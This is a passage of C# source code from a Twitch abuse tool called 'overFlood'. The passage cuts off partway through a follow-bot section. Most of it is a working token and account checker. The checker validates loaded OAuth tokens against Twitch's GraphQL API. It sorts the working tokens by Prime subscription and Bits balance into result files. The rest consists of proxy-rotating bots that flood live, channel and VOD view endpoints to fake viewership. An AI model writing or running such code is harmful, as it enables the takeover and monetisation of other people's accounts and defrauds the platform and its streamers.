849 | httpRequest.AddHeader("Client-Id", "kimne78kx3ncx6brgo4mv6wki5h1ko"); 850 | string str = "[{\"operationName\":\"PrimeSubscribe_UserPrimeData\",\"variables\":{\"login\":\"" + username + "\"},\"extensions\":{\"persistedQuery\":{\"version\":1,\"sha256Hash\":\"58c25a2b0ccbde33498f3a5cf6027ff32168febd8a63b749f184028e8ab9192a\"}}},{\"operationName\":\"Inventory\",\"variables\":{},\"extensions\":{\"persistedQuery\":{\"version\":1,\"sha256Hash\":\"22c44231a1332132801f93866bdf1c985995df85e87e2dec45a24fbb66e9a03c\"}}}]"; 851 | try 852 | { 853 | result = httpRequest.Post("https://gql.twitch.tv/gql", str, "text/plain;charset=UTF-8").ToString(); 854 | } 855 | catch (Exception) 856 | { 857 | result = "request error"; 858 | } 859 | } 860 | return result; 861 | } 862 | 863 | private void CheckAccount(string account, string token, string response) 864 | { 865 | Interlocked.Increment(ref accountCheckerGood); 866 | lblAccountCheckerGood.Text = $"Hits: {accountCheckerGood}"; 867 | 868 | bool isPrime = response.Contains("hasPrime\":true") && response.Contains("willRenew\":true"); 869 | bool isPrimeAvailable = response.Contains("canPrimeSubscribe\":true"); 870 | 871 | if (isPrimeAvailable) 872 | { 873 | WriteLine(primeAvailableAccounts, account); 874 | WriteLine(primeAvailableTokens1, token); 875 | Interlocked.Increment(ref accountCheckerPrimeAvailable); 876 | lblAccountCheckerPrimeAvailable.Text = $"Primes Available: {accountCheckerPrimeAvailable}"; 877 | } 878 | else if (isPrime) 879 | { 880 | string date = new Regex("renewalDate\":(.*?),\"").Match(response).Groups[1].Value.Substring(1).Split(new char[] 881 | { 882 | 'T' 883 | })[0]; 884 | string time = new Regex("renewalDate\":(.*?),\"").Match(response).Groups[1].Value.Substring(1).Split(new char[] 885 | { 886 | 'T' 887 | })[1]; 888 | WriteLine(primeAccounts, account + " - " + date + " " + time.Split(':')[0] + ":" + time.Split(':')[1] + ":" + time.Split(':')[2].Replace(time.Split('.')[1], "").Replace(".", "")); 889 | WriteLine(primeTokens1, token + " - " + date + " " + time.Split(':')[0] + ":" + time.Split(':')[1] + ":" + time.Split(':')[2].Replace(time.Split('.')[1], "").Replace(".", "")); 890 | Interlocked.Increment(ref accountCheckerPrimes); 891 | lblAccountCheckerPrimes.Text = $"Primes: {accountCheckerPrimes}"; 892 | } 893 | else 894 | { 895 | WriteLine(workingAccounts, account); 896 | WriteLine(workingTokens1, token); 897 | } 898 | 899 | int.TryParse(new Regex("bitsBalance\":(.*?),\"").Match(response).Groups[1].Value, out int bits); 900 | 901 | if (bits > 0) 902 | { 903 | WriteLine(bitsAccounts, string.Format("{0}: {1}", account, bits)); 904 | WriteLine(bitsTokens1, string.Format("{0}:{1}", token, bits)); 905 | Interlocked.Add(ref accountCheckerOverallBits, bits); 906 | lblAccountCheckerBits.Text = $"Bits: {accountCheckerOverallBits}"; 907 | } 908 | } 909 | #endregion 910 | 911 | #region Token Checker Methods 912 | private void btnTokenCheckerLoadTokens_Click(object sender, EventArgs e) 913 | { 914 | try 915 | { 916 | string fileName = Utilities.OpenFileDialog("Load Tokens"); 917 | if (string.IsNullOrEmpty(fileName)) return; 918 | tokenCheckerTokens = Utilities.LoadFile(fileName); 919 | lblTokenCheckerTokens.Text = $"Tokens: {tokenCheckerTokens.Count()}"; 920 | MessageBox.Show($"Loaded {tokenCheckerTokens.Count()} tokens.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 921 | } 922 | catch (Exception ex) 923 | { 924 | MessageBox.Show(ex.Message, "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Error); 925 | } 926 | } 927 | 928 | private async void btnTokenCheckerStart_Click(object sender, EventArgs e) 929 | { 930 | if (tokenCheckerTokens == null || !tokenCheckerTokens.Any()) 931 | { 932 | MessageBox.Show("Upload tokens list.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); 933 | return; 934 | } 935 | 936 | btnTokenCheckerLoadTokens.Enabled = false; 937 | txtTokenCheckerThreads.Enabled = false; 938 | btnTokenCheckerStart.Enabled = false; 939 | btnTokenCheckerStop.Enabled = true; 940 | lblTokenCheckerGood.Text = "Hits: 0"; 941 | lblTokenCheckerBad.Text = "Invalid: 0"; 942 | lblTokenCheckerPrimes.Text = "Prime: 0"; 943 | lblTokenCheckerPrimeAvailable.Text = "Primes Available: 0"; 944 | lblTokenCheckerBits.Text = "Bits: 0"; 945 | tokenCheckerChecks = 0; 946 | tokenCheckerTotal = tokenCheckerTokens.Count(); 947 | tokenCheckerGood = 0; 948 | tokenCheckerBad = 0; 949 | primeAvailable = 0; 950 | overallBits = 0; 951 | primes = 0; 952 | lblTokenCheckerChecked.Text = $"Checked: 0/{tokenCheckerTotal}"; 953 | 954 | CreateDirectory(); 955 | 956 | ThreadPool.SetMinThreads(Convert.ToInt32(txtTokenCheckerThreads.Text), Convert.ToInt32(txtTokenCheckerThreads.Text)); 957 | 958 | tokenCheckerTokenSource = new CancellationTokenSource(); 959 | CancellationToken cancellationToken = tokenCheckerTokenSource.Token; 960 | 961 | ParallelOptions parallelOptions = new ParallelOptions 962 | { 963 | MaxDegreeOfParallelism = Convert.ToInt32(txtTokenCheckerThreads.Text), 964 | CancellationToken = cancellationToken 965 | }; 966 | 967 | try 968 | { 969 | await Task.Run(() => Parallel.ForEach(tokenCheckerTokens, parallelOptions, delegate (string token) 970 | { 971 | if (tokenCheckerTokenSource.IsCancellationRequested) 972 | { 973 | return; 974 | } 975 | 976 | try 977 | { 978 | if (token.Contains(":")) 979 | token = token.Contains("oauth:") ? token.Split(':')[1] : token.Split(':')[0]; 980 | string text; 981 | while ((text = CheckToken(token)) == "request error") 982 | { 983 | } 984 | if (string.IsNullOrEmpty(text)) 985 | { 986 | Interlocked.Increment(ref tokenCheckerBad); 987 | lblTokenCheckerBad.Text = $"Invalid: {tokenCheckerBad}"; 988 | Interlocked.Increment(ref tokenCheckerChecks); 989 | lblTokenCheckerChecked.Text = $"Checked: {tokenCheckerChecks}/{tokenCheckerTotal}"; 990 | return; 991 | } 992 | string text2; 993 | while ((text2 = GetPrimeInfo(token, text)) == "request error") 994 | { 995 | } 996 | CheckPrimeInfo(token, text2); 997 | Interlocked.Increment(ref tokenCheckerChecks); 998 | lblTokenCheckerChecked.Text = $"Checked: {tokenCheckerChecks}/{tokenCheckerTotal}"; 999 | } 1000 | catch (Exception) 1001 | { 1002 | Interlocked.Increment(ref tokenCheckerBad); 1003 | lblTokenCheckerBad.Text = $"Invalid: {tokenCheckerBad}"; 1004 | Interlocked.Increment(ref tokenCheckerChecks); 1005 | lblTokenCheckerChecked.Text = $"Checked: {tokenCheckerChecks}/{tokenCheckerTotal}"; 1006 | } 1007 | }), cancellationToken); 1008 | } 1009 | catch (OperationCanceledException) 1010 | { 1011 | // ignored 1012 | } 1013 | 1014 | workingTokens.Dispose(); 1015 | primeTokens.Dispose(); 1016 | primeAvailableTokens.Dispose(); 1017 | bitsTokens.Dispose(); 1018 | 1019 | btnTokenCheckerLoadTokens.Enabled = true; 1020 | txtTokenCheckerThreads.Enabled = true; 1021 | btnTokenCheckerStart.Enabled = true; 1022 | btnTokenCheckerStop.Enabled = false; 1023 | MessageBox.Show($"Checked {tokenCheckerChecks} tokens. The results are stored in the 'Results' directory.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 1024 | } 1025 | 1026 | private void CreateDirectory() 1027 | { 1028 | string text = string.Format("Results/TC-{0:MM-dd-yy-hh-mm-ss}", DateTime.Now); 1029 | Directory.CreateDirectory(text); 1030 | workingTokens = new StreamWriter(string.Format("{0}/tokens.txt", text), true) 1031 | { 1032 | AutoFlush = true 1033 | }; 1034 | primeTokens = new StreamWriter(string.Format("{0}/prime-tokens.txt", text), true) 1035 | { 1036 | AutoFlush = true 1037 | }; 1038 | primeAvailableTokens = new StreamWriter(string.Format("{0}/prime-available-tokens.txt", text), true) 1039 | { 1040 | AutoFlush = true 1041 | }; 1042 | bitsTokens = new StreamWriter(string.Format("{0}/bits-tokens.txt", text), true) 1043 | { 1044 | AutoFlush = true 1045 | }; 1046 | } 1047 | 1048 | private string CheckToken(string token) 1049 | { 1050 | string result; 1051 | using (HttpRequest httpRequest = new HttpRequest()) 1052 | { 1053 | httpRequest.IgnoreProtocolErrors = true; 1054 | httpRequest.KeepAlive = true; 1055 | httpRequest.AddHeader("Authorization", "OAuth " + token); 1056 | httpRequest.AddHeader("Client-Id", "kimne78kx3ncx6brgo4mv6wki5h1ko"); 1057 | try 1058 | { 1059 | string input = httpRequest.Post("https://gql.twitch.tv/gql", "[{\"operationName\":\"BitsCard_Bits\",\"variables\":{},\"extensions\":{\"persistedQuery\":{\"version\":1,\"sha256Hash\":\"fe1052e19ce99f10b5bd9ab63c5de15405ce87a1644527498f0fc1aadeff89f2\"}}},{\"operationName\":\"BitsCard_MainCard\",\"variables\":{\"name\":\"214062798\",\"withCheerBombEventEnabled\":false},\"extensions\":{\"persistedQuery\":{\"version\":1,\"sha256Hash\":\"88cb043070400a165104f9ce491f02f26c0b571a23b1abc03ef54025f6437848\"}}}]", "text/plain;charset=UTF-8").ToString(); 1060 | result = new Regex("login\":\"(.*?)\"").Match(input).Groups[1].Value; 1061 | } 1062 | catch (Exception) 1063 | { 1064 | result = "request error"; 1065 | } 1066 | } 1067 | return result; 1068 | } 1069 | 1070 | private string GetPrimeInfo(string token, string username) 1071 | { 1072 | string result; 1073 | using (HttpRequest httpRequest = new HttpRequest()) 1074 | { 1075 | httpRequest.UserAgent = Http.RandomUserAgent(); 1076 | httpRequest.Referer = "https://www.twitch.tv/"; 1077 | httpRequest.IgnoreProtocolErrors = true; 1078 | httpRequest.Reconnect = false; 1079 | httpRequest.Authorization = "OAuth " + token; 1080 | httpRequest.AddHeader("Pragma", "no-cache"); 1081 | httpRequest.AddHeader("Origin", "https://twitch.tv"); 1082 | httpRequest.AddHeader("Client-Id", "kimne78kx3ncx6brgo4mv6wki5h1ko"); 1083 | string str = "[{\"operationName\":\"PrimeSubscribe_UserPrimeData\",\"variables\":{\"login\":\"" + username + "\"},\"extensions\":{\"persistedQuery\":{\"version\":1,\"sha256Hash\":\"58c25a2b0ccbde33498f3a5cf6027ff32168febd8a63b749f184028e8ab9192a\"}}},{\"operationName\":\"Inventory\",\"variables\":{},\"extensions\":{\"persistedQuery\":{\"version\":1,\"sha256Hash\":\"22c44231a1332132801f93866bdf1c985995df85e87e2dec45a24fbb66e9a03c\"}}}]"; 1084 | try 1085 | { 1086 | result = httpRequest.Post("https://gql.twitch.tv/gql", str, "text/plain;charset=UTF-8").ToString(); 1087 | } 1088 | catch (Exception) 1089 | { 1090 | result = "request error"; 1091 | } 1092 | } 1093 | return result; 1094 | } 1095 | 1096 | private void CheckPrimeInfo(string token, string responseString) 1097 | { 1098 | Interlocked.Increment(ref tokenCheckerGood); 1099 | lblTokenCheckerGood.Text = $"Hits: {tokenCheckerGood}"; 1100 | 1101 | bool isPrime = responseString.Contains("hasPrime\":true") && responseString.Contains("willRenew\":true"); 1102 | bool isPrimeAvailable = responseString.Contains("canPrimeSubscribe\":true"); 1103 | 1104 | if (isPrimeAvailable) 1105 | { 1106 | WriteLine(primeAvailableTokens, token); 1107 | Interlocked.Increment(ref primeAvailable); 1108 | lblTokenCheckerPrimeAvailable.Text = $"Prime Available: {primeAvailable}"; 1109 | } 1110 | else if (isPrime) 1111 | { 1112 | string date = new Regex("renewalDate\":(.*?),\"").Match(responseString).Groups[1].Value.Substring(1).Split(new char[] 1113 | { 1114 | 'T' 1115 | })[0]; 1116 | string time = new Regex("renewalDate\":(.*?),\"").Match(responseString).Groups[1].Value.Substring(1).Split(new char[] 1117 | { 1118 | 'T' 1119 | })[1]; 1120 | WriteLine(primeTokens, token + ":" + date + " " + time.Split(':')[0] + ":" + time.Split(':')[1] + ":" + time.Split(':')[2].Replace(time.Split('.')[1], "").Replace(".", "")); 1121 | Interlocked.Increment(ref primes); 1122 | lblTokenCheckerPrimes.Text = $"Primes: {primes}"; 1123 | } 1124 | else 1125 | { 1126 | WriteLine(workingTokens, token); 1127 | } 1128 | 1129 | int.TryParse(new Regex("bitsBalance\":(.*?),\"").Match(responseString).Groups[1].Value, out int bits); 1130 | 1131 | if (bits > 0) 1132 | { 1133 | WriteLine(bitsTokens, string.Format("{0}:{1}", token, bits)); 1134 | Interlocked.Add(ref overallBits, bits); 1135 | lblTokenCheckerBits.Text = $"Bits: {overallBits}"; 1136 | } 1137 | } 1138 | 1139 | private void btnTokenCheckerStop_Click(object sender, EventArgs e) 1140 | { 1141 | tokenCheckerTokenSource.Cancel(); 1142 | } 1143 | #endregion 1144 | 1145 | #region Live View Bot Methods 1146 | private void btnViewLoadProxies_Click(object sender, EventArgs e) 1147 | { 1148 | try 1149 | { 1150 | string fileName = Utilities.OpenFileDialog("Load Proxies"); 1151 | if (string.IsNullOrEmpty(fileName)) return; 1152 | viewProxies = Utilities.LoadFile(fileName); 1153 | lblViewBotProxies.Text = $"Proxies: {viewProxies.Count()}"; 1154 | MessageBox.Show($"Loaded {viewProxies.Count()} proxies.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 1155 | } 1156 | catch (Exception ex) 1157 | { 1158 | MessageBox.Show(ex.Message, "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Error); 1159 | } 1160 | } 1161 | 1162 | private async void btnViewStart_Click(object sender, EventArgs e) 1163 | { 1164 | if (viewProxies == null || !viewProxies.Any()) 1165 | { 1166 | MessageBox.Show("Upload proxies list.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); 1167 | return; 1168 | } 1169 | 1170 | txtViewChannel.Text = txtViewChannel.Text.ToLower(); 1171 | txtViewChannel.Enabled = false; 1172 | txtViewThreads.Enabled = false; 1173 | comboViewProxyType.Enabled = false; 1174 | btnViewLoadProxies.Enabled = false; 1175 | txtViewTimeout.Enabled = false; 1176 | viewRequests = 0; 1177 | viewRequestsFailed = 0; 1178 | lblViewRequests.Text = "Requests Sent: 0"; 1179 | lblViewRequestsFailed.Text = "Requests Failed: 0"; 1180 | btnViewStart.Enabled = false; 1181 | btnViewStop.Enabled = true; 1182 | 1183 | ThreadPool.SetMinThreads(Convert.ToInt32(txtViewThreads.Text), Convert.ToInt32(txtViewThreads.Text)); 1184 | 1185 | viewTokenSource = new CancellationTokenSource(); 1186 | CancellationToken token = viewTokenSource.Token; 1187 | 1188 | ParallelOptions parallelOptions = new ParallelOptions 1189 | { 1190 | MaxDegreeOfParallelism = Convert.ToInt32(txtViewThreads.Text), 1191 | CancellationToken = token 1192 | }; 1193 | 1194 | try 1195 | { 1196 | await Task.Run(() => Parallel.For(0, Convert.ToInt32(txtViewThreads.Text), parallelOptions, ViewThread), token); 1197 | } 1198 | catch (OperationCanceledException) 1199 | { 1200 | // ignored 1201 | } 1202 | 1203 | txtViewChannel.Enabled = true; 1204 | txtViewThreads.Enabled = true; 1205 | comboViewProxyType.Enabled = true; 1206 | btnViewLoadProxies.Enabled = true; 1207 | txtViewTimeout.Enabled = true; 1208 | btnViewStart.Enabled = true; 1209 | btnViewStop.Enabled = false; 1210 | MessageBox.Show($"Sent {viewRequests} requests to {txtViewChannel.Text}.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 1211 | } 1212 | 1213 | private void ViewThread(int i) 1214 | { 1215 | while (!viewTokenSource.IsCancellationRequested) 1216 | { 1217 | try 1218 | { 1219 | HttpRequest httpRequest = new HttpRequest(); 1220 | httpRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36"; 1221 | httpRequest.EnableEncodingContent = false; 1222 | httpRequest.AddHeader(HttpHeader.Accept, "application/vnd.twitchtv.v5+json; charset=UTF-8"); 1223 | httpRequest.AddHeader(HttpHeader.AcceptLanguage, "en-us"); 1224 | httpRequest.AddHeader(HttpHeader.ContentType, "application/json; charset=UTF-8"); 1225 | httpRequest.AddHeader(HttpHeader.Referer, "https://www.twitch.tv/" + txtViewChannel.Text); 1226 | httpRequest.AddHeader("Sec-Fetch-Mode", "cors"); 1227 | httpRequest.AddHeader("X-Requested-With", "XMLHttpRequest"); 1228 | httpRequest.AddHeader("Client-ID", "jzkbprff40iqj646a697cyrvl0zt2m6"); 1229 | string self = httpRequest.Get("https://api.twitch.tv/api/channels/" + txtViewChannel.Text + "/access_token?oauth_token=undefined&need_https=true&platform=web&player_type=site&player_backend=mediaplayer", null).ToString(); 1230 | string text = self.Substring("token\":\"", "\",\"sig", 0, StringComparison.Ordinal, null).Replace("\\", "").Replace("u0026", "\\u0026").Replace("+", "%2B").Replace(":", "%3A").Replace(",", "%2C").Replace("[", "%5B").Replace("]", "%5D").Replace("'", "%27"); 1231 | string text2 = self.Substring("sig\":\"", "\",\"mobile", 0, StringComparison.Ordinal, null); 1232 | while (!viewTokenSource.IsCancellationRequested) 1233 | { 1234 | httpRequest.AddHeader(HttpHeader.Accept, "application/x-mpegURL, application/vnd.apple.mpegurl, application/json, text/plain"); 1235 | httpRequest.AddHeader("Sec-Fetch-Mode", "cors"); 1236 | string address = "https://" + httpRequest.Get(string.Concat(new string[] 1237 | { 1238 | "https://usher.ttvnw.net/api/channel/hls/", 1239 | txtViewChannel.Text, 1240 | ".m3u8?sig=", 1241 | text2, 1242 | "&token=", 1243 | text 1244 | }), null).ToString().Substring("https://", ".m3u8", 0, StringComparison.Ordinal, null) + ".m3u8"; 1245 | 1246 | ProxyType proxyType; 1247 | 1248 | switch (comboViewProxyType.Text) 1249 | { 1250 | case "HTTP": 1251 | proxyType = ProxyType.HTTP; 1252 | break; 1253 | case "SOCKS4": 1254 | proxyType = ProxyType.Socks4; 1255 | break; 1256 | case "SOCKS4a": 1257 | proxyType = ProxyType.Socks4A; 1258 | break; 1259 | case "SOCKS5": 1260 | proxyType = ProxyType.Socks5; 1261 | break; 1262 | default: 1263 | proxyType = ProxyType.HTTP; 1264 | break; 1265 | } 1266 | 1267 | httpRequest.Proxy = ProxyClient.Parse(proxyType, viewProxies[new Random().Next(viewProxies.Count())]); 1268 | httpRequest.ConnectTimeout = Convert.ToInt32(txtViewTimeout.Text); 1269 | httpRequest.ReadWriteTimeout = Convert.ToInt32(txtViewTimeout.Text); 1270 | httpRequest.AddHeader(HttpHeader.Accept, 1271 | "application/x-mpegURL, application/vnd.apple.mpegurl, application/json, text/plain"); 1272 | httpRequest.AddHeader("Sec-Fetch-Mode", "cors"); 1273 | httpRequest.EnableEncodingContent = false; 1274 | httpRequest.Raw(HttpMethod.HEAD, address, null); 1275 | Interlocked.Increment(ref viewRequests); 1276 | lblViewRequests.Text = $"Requests Sent: {viewRequests}"; 1277 | Thread.Sleep(5); 1278 | } 1279 | } 1280 | catch (Exception) 1281 | { 1282 | Interlocked.Increment(ref viewRequestsFailed); 1283 | lblViewRequestsFailed.Text = $"Requests Failed: {viewRequestsFailed}"; 1284 | } 1285 | } 1286 | } 1287 | 1288 | private void btnViewStop_Click(object sender, EventArgs e) 1289 | { 1290 | viewTokenSource.Cancel(); 1291 | } 1292 | #endregion 1293 | 1294 | #region Channel View Bot Methods 1295 | private void btnChannelLoadProxies_Click(object sender, EventArgs e) 1296 | { 1297 | try 1298 | { 1299 | string fileName = Utilities.OpenFileDialog("Load Proxies"); 1300 | if (string.IsNullOrEmpty(fileName)) return; 1301 | channelViewProxies = Utilities.LoadFile(fileName); 1302 | lblChannelProxies.Text = $"Proxies: {channelViewProxies.Count()}"; 1303 | MessageBox.Show($"Loaded {channelViewProxies.Count()} proxies.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 1304 | } 1305 | catch (Exception ex) 1306 | { 1307 | MessageBox.Show(ex.Message, "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Error); 1308 | } 1309 | } 1310 | 1311 | private string channelViewId; 1312 | 1313 | private async void btnChannelStart_Click(object sender, EventArgs e) 1314 | { 1315 | if (txtChannel.Text == "") 1316 | { 1317 | MessageBox.Show("Please enter a channel name.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); 1318 | return; 1319 | } 1320 | 1321 | if (channelViewProxies == null || !channelViewProxies.Any()) 1322 | { 1323 | MessageBox.Show("Upload proxies list.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); 1324 | return; 1325 | } 1326 | 1327 | channelViewId = GetChannel(txtChannel.Text); 1328 | 1329 | if (string.IsNullOrEmpty(channelViewId)) 1330 | { 1331 | MessageBox.Show("The streamer doesn't exist or an error occured.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); 1332 | return; 1333 | } 1334 | 1335 | txtChannel.Enabled = false; 1336 | btnChannelLoadProxies.Enabled = false; 1337 | txtChannelThreads.Enabled = false; 1338 | comboChannelType.Enabled = false; 1339 | txtChannelTimeout.Enabled = false; 1340 | btnChannelStart.Enabled = false; 1341 | btnChannelStop.Enabled = true; 1342 | lblChannelRequests.Text = "Requests Sent: 0"; 1343 | lblChannelFailedRequests.Text = "Requests Failed: 0"; 1344 | channelRequests = 0; 1345 | failChannelRequests = 0; 1346 | 1347 | ThreadPool.SetMinThreads(Convert.ToInt32(txtChannelThreads.Text), Convert.ToInt32(txtChannelThreads.Text)); 1348 | 1349 | channelTokenSource = new CancellationTokenSource(); 1350 | CancellationToken token = channelTokenSource.Token; 1351 | 1352 | ParallelOptions parallelOptions = new ParallelOptions 1353 | { 1354 | MaxDegreeOfParallelism = Convert.ToInt32(txtChannelThreads.Text), 1355 | CancellationToken = token 1356 | }; 1357 | 1358 | try 1359 | { 1360 | await Task.Run(() => Parallel.For(0, Convert.ToInt32(txtChannelThreads.Text), parallelOptions, ChannelViewThread), token); 1361 | } 1362 | catch (OperationCanceledException) 1363 | { 1364 | // ignored 1365 | } 1366 | 1367 | txtChannel.Enabled = true; 1368 | btnChannelLoadProxies.Enabled = true; 1369 | txtChannelThreads.Enabled = true; 1370 | comboChannelType.Enabled = true; 1371 | txtChannelTimeout.Enabled = true; 1372 | btnChannelStart.Enabled = true; 1373 | btnChannelStop.Enabled = false; 1374 | MessageBox.Show($"Sent {channelRequests} requests to {txtChannel.Text}", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 1375 | } 1376 | 1377 | private void ChannelViewThread(int i) 1378 | { 1379 | string url = "http://countess.twitch.tv/ping.gif?u=%7B%22type%22%3A%22channel%22%2C%22id%22%3A" + channelViewId + "%7D"; 1380 | var proxy = channelViewProxies[new Random().Next(channelViewProxies.Count())]; 1381 | 1382 | while (!channelTokenSource.IsCancellationRequested) 1383 | { 1384 | try 1385 | { 1386 | HttpRequest request = new HttpRequest(); 1387 | 1388 | ProxyType proxyType; 1389 | 1390 | switch (comboChannelType.Text) 1391 | { 1392 | case "HTTP": 1393 | proxyType = ProxyType.HTTP; 1394 | break; 1395 | case "SOCKS4": 1396 | proxyType = ProxyType.Socks4; 1397 | break; 1398 | case "SOCKS4a": 1399 | proxyType = ProxyType.Socks4A; 1400 | break; 1401 | case "SOCKS5": 1402 | proxyType = ProxyType.Socks5; 1403 | break; 1404 | default: 1405 | proxyType = ProxyType.HTTP; 1406 | break; 1407 | } 1408 | 1409 | request.Proxy = ProxyClient.Parse(proxyType, proxy); 1410 | request.UserAgent = Http.RandomUserAgent(); 1411 | request.ConnectTimeout = Convert.ToInt32(txtChannelTimeout.Text); 1412 | request.ReadWriteTimeout = Convert.ToInt32(txtChannelTimeout.Text); 1413 | string TotalViewResponse = request.Get(url).ToString(); 1414 | Interlocked.Increment(ref channelRequests); 1415 | lblChannelRequests.Text = $"Requests Sent: {channelRequests}"; 1416 | } 1417 | catch (Exception) 1418 | { 1419 | Interlocked.Increment(ref failChannelRequests); 1420 | lblChannelFailedRequests.Text = $"Requests Failed: {failChannelRequests}"; 1421 | } 1422 | } 1423 | } 1424 | 1425 | private void btnChannelStop_Click(object sender, EventArgs e) 1426 | { 1427 | channelTokenSource.Cancel(); 1428 | } 1429 | #endregion 1430 | 1431 | #region VOD Views Bot Methods 1432 | private void btnVODLoadProxies_Click(object sender, EventArgs e) 1433 | { 1434 | try 1435 | { 1436 | string fileName = Utilities.OpenFileDialog("Load Proxies"); 1437 | if (string.IsNullOrEmpty(fileName)) return; 1438 | vodViewProxies = Utilities.LoadFile(fileName); 1439 | lblVODProxies.Text = $"Proxies: {vodViewProxies.Count()}"; 1440 | MessageBox.Show($"Loaded {vodViewProxies.Count()} proxies.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 1441 | } 1442 | catch (Exception ex) 1443 | { 1444 | MessageBox.Show(ex.Message, "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Error); 1445 | } 1446 | } 1447 | 1448 | int vodChannelId; 1449 | 1450 | private async void btnVODStart_Click(object sender, EventArgs e) 1451 | { 1452 | if (txtVODID.Text == "") 1453 | { 1454 | MessageBox.Show("Please enter a video ID.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); 1455 | return; 1456 | } 1457 | 1458 | if (vodViewProxies == null || !vodViewProxies.Any()) 1459 | { 1460 | MessageBox.Show("Upload proxies list.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); 1461 | return; 1462 | } 1463 | 1464 | vodChannelId = Convert.ToInt32(txtVODID.Text); 1465 | 1466 | txtVODID.Enabled = false; 1467 | btnVODLoadProxies.Enabled = false; 1468 | txtVODThreads.Enabled = false; 1469 | comboVODType.Enabled = false; 1470 | txtVODTimeout.Enabled = false; 1471 | btnVODStart.Enabled = false; 1472 | btnVODStop.Enabled = true; 1473 | lblVODRequests.Text = "Requests Sent: 0"; 1474 | lblVODRequestsFailed.Text = "Requests Failed: 0"; 1475 | vodRequests = 0; 1476 | failVodRequests = 0; 1477 | 1478 | ThreadPool.SetMinThreads(Convert.ToInt32(txtVODThreads.Text), Convert.ToInt32(txtVODThreads.Text)); 1479 | 1480 | vodTokenSource = new CancellationTokenSource(); 1481 | CancellationToken token = vodTokenSource.Token; 1482 | 1483 | ParallelOptions parallelOptions = new ParallelOptions 1484 | { 1485 | MaxDegreeOfParallelism = Convert.ToInt32(txtVODThreads.Text), 1486 | CancellationToken = token 1487 | }; 1488 | 1489 | try 1490 | { 1491 | await Task.Run(() => Parallel.For(0, Convert.ToInt32(txtVODThreads.Text), parallelOptions, VodViewThread), token); 1492 | } 1493 | catch (OperationCanceledException) 1494 | { 1495 | // ignored 1496 | } 1497 | 1498 | txtVODID.Enabled = true; 1499 | btnVODLoadProxies.Enabled = true; 1500 | txtVODThreads.Enabled = true; 1501 | comboVODType.Enabled = true; 1502 | txtVODTimeout.Enabled = true; 1503 | btnVODStart.Enabled = true; 1504 | btnVODStop.Enabled = false; 1505 | MessageBox.Show($"Sent {vodRequests} requests to {txtVODID.Text}", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 1506 | } 1507 | 1508 | private void VodViewThread(int i) 1509 | { 1510 | string url = "https://countess.twitch.tv/ping.gif?u=%7B%22type%22%3A%22vod%22%2C%22id%22%3A%22" + vodChannelId + "%22%7D"; 1511 | var proxy = vodViewProxies[new Random().Next(vodViewProxies.Count())]; 1512 | 1513 | while (!vodTokenSource.IsCancellationRequested) 1514 | { 1515 | try 1516 | { 1517 | HttpRequest request = new HttpRequest(); 1518 | 1519 | ProxyType proxyType; 1520 | 1521 | switch (comboVODType.Text) 1522 | { 1523 | case "HTTP": 1524 | proxyType = ProxyType.HTTP; 1525 | break; 1526 | case "SOCKS4": 1527 | proxyType = ProxyType.Socks4; 1528 | break; 1529 | case "SOCKS4a": 1530 | proxyType = ProxyType.Socks4A; 1531 | break; 1532 | case "SOCKS5": 1533 | proxyType = ProxyType.Socks5; 1534 | break; 1535 | default: 1536 | proxyType = ProxyType.HTTP; 1537 | break; 1538 | } 1539 | 1540 | request.Proxy = ProxyClient.Parse(proxyType, proxy); 1541 | request.UserAgent = Http.RandomUserAgent(); 1542 | request.ConnectTimeout = Convert.ToInt32(txtVODTimeout.Text); 1543 | request.ReadWriteTimeout = Convert.ToInt32(txtVODTimeout.Text); 1544 | string TotalViewResponse = request.Get(url).ToString(); 1545 | Interlocked.Increment(ref vodRequests); 1546 | lblVODRequests.Text = $"Requests Sent: {vodRequests}"; 1547 | } 1548 | catch (Exception) 1549 | { 1550 | Interlocked.Increment(ref failVodRequests); 1551 | lblVODRequestsFailed.Text = $"Requests Failed: {failVodRequests}"; 1552 | } 1553 | } 1554 | } 1555 | 1556 | private void btnVODStop_Click(object sender, EventArgs e) 1557 | { 1558 | vodTokenSource.Cancel(); 1559 | } 1560 | #endregion 1561 | 1562 | #region Follow Bot Methods 1563 | private void chkFollowUseProxies_CheckedChanged(object sender, EventArgs e) 1564 | { 1565 | btnFollowLoadProxies.Enabled = chkFollowUseProxies.Checked; 1566 | txtFollowTimeout.Enabled = chkFollowUseProxies.Checked; 1567 | } 1568 | 1569 | private void btnFollowLoadProxies_Click(object sender, EventArgs e) 1570 | { 1571 | try 1572 | { 1573 | string fileName = Utilities.OpenFileDialog("Load Proxies"); 1574 | if (string.IsNullOrEmpty(fileName)) return; 1575 | followProxies = Utilities.LoadFile(fileName); 1576 | lblFollowProxies.Text = $"Proxies: {followProxies.Count()}"; 1577 | MessageBox.Show($"Loaded {followProxies.Count()} proxies.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 1578 | } 1579 | catch (Exception ex) 1580 | { 1581 | MessageBox.Show(ex.Message, "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Error); 1582 | } 1583 | } 1584 | 1585 | private void btnFollowLoadTokens_Click(object sender, EventArgs e) 1586 | { 1587 | try 1588 | { 1589 | string fileName = Utilities.OpenFileDialog("Load 